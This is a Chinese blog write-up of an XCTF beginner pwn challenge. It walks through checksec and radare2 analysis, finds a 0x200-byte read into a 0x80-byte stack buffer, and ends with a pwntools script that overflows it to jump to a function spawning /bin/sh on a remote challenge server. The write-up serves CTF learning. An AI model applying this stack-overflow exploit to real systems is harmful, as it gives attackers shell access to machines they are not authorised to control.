

# XCTF-简单题-pwn-003

原创

Morphy\_Amo 于 2021-12-10 17:03:41 发布 382 收藏

分类专栏: [pwn题](#) 文章标签: [安全 pwn](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Morphy\\_Amo/article/details/121860569](https://blog.csdn.net/Morphy_Amo/article/details/121860569)

版权



[pwn题 专栏收录该内容](#)

19 篇文章 0 订阅

订阅专栏

例题: [XCTF-pwn-新手区-003](#)

分析过程

检查安全保护机制

```
root@kali:~/ctf/xctf/pwn/easy# checksec easy_003_Level0
[*] '/root/ctf/xctf/pwn/easy/easy_003_level0'
    Arch:      amd64-64-little
    RELRO:     No RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       No PIE (0x400000)
```

发现开启NX保护, 此时可以判断难以通过直接写入shellcode的方式进行pwn

查看有没有可以利用的函数和字符串

```
[0x004004a0]> afl
0x004004a0  1 42          entry0
...
0x00400596  1 16          sym.callsystem
0x00400460  1 6           sym.imp.system
...
0x00400490  1 6           loc.imp.__gmon_start
[0x004004a0]> axt sym.imp.
sym.imp.write          sym.imp.system
sym.imp.read           sym.imp.__libc_start_main
[0x004004a0]> axt sym.imp.system
sym.callsystem 0x40059f [CALL] call sym.imp.system
[0x004004a0]> axt sym.callsystem
```

发现程序有可以利用的system函数, 通过查看调用关系可以发现system函数是在callsystem函数中调用的, 而callsystem函数并没有被调用过。

再查看字符串, 发现 `/bin/sh` 且同样在callsystem中被调用

```
[0x004004a0]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000684 0x00400684   7   8 (.rodata) ascii /bin/sh
```

```
001 0x0000068c 0x0040068c 13 14 (.rodata) ascii Hello, World\n\n[0x004004a0]> axt 0x00400684\nsym.callsystem 0x40059a [DATA] mov edi, str.bin_sh
```

查看 `sym.callsystem` 的反汇编代码

```
[0x004004a0]> s sym.callsystem\n[0x00400596]> pdf\n\n;-- rip:\n/ (fcn) sym.callsystem 16\n| sym.callsystem (){\n|     0x00400596    55          push rbp\n|     0x00400597    4889e5      mov rbp, rsp\n|     0x0040059a    bf84064000  mov edi, str.bin_sh      ; 0x400684 ; "/bin/sh"\n|\n|     0x0040059f    e8bcfeffff  call sym.imp.system\n|     0x004005a4    5d          pop rbp\n\\     0x004005a5    c3          ret\n\n
```

可以发现`callsystem`就是获取shell的功能。

找溢出点

发现main函数中调用了一个 `sym.vulnerable_function` 函数，该函数反编译如下

```
/ (fcn) sym.vulnerable_function 32\n| sym.vulnerable_function (){\n|     ; var int32_t var_80h @ rbp-0x80\n|     ; CALL XREF from main @ 0x4005ee\n|     0x004005a6    55          push rbp\n|     0x004005a7    4889e5      mov rbp, rsp\n|     0x004005aa    4883c480   add rsp, -0x80\n|     0x004005ae    488d4580   lea rax, qword [var_80h]\n|     0x004005b2    ba00020000  mov edx, 0x200           ; 512\n|     0x004005b7    4889c6      mov rsi, rax\n|     0x004005ba    bf00000000  mov edi, 0\n|     0x004005bf    e8acfefeff  call sym.imp.read\n|     0x004005c4    c9          leave\n\\     0x004005c5    c3          ret\n\n
```

发现调用了一个危险函数 `read()`，这里`read`读取的内容将被存入大小为0x80的数组空间中，而可读的最大长度为0x200，因此可以被用来做溢出。

构造payload

```
from pwn import *\ncontext.log_level = 'debug'\n\nconn = remote('111.200.241.244', 49826)\n# 填充0x88个无用字符，再加上要跳的地址\npayload = b'a' * (0x80 + 0x8) + p64(0x00400596)\n\nconn.recvuntil('Hello, World\\n')\nconn.send(payload)\nconn.interactive()
```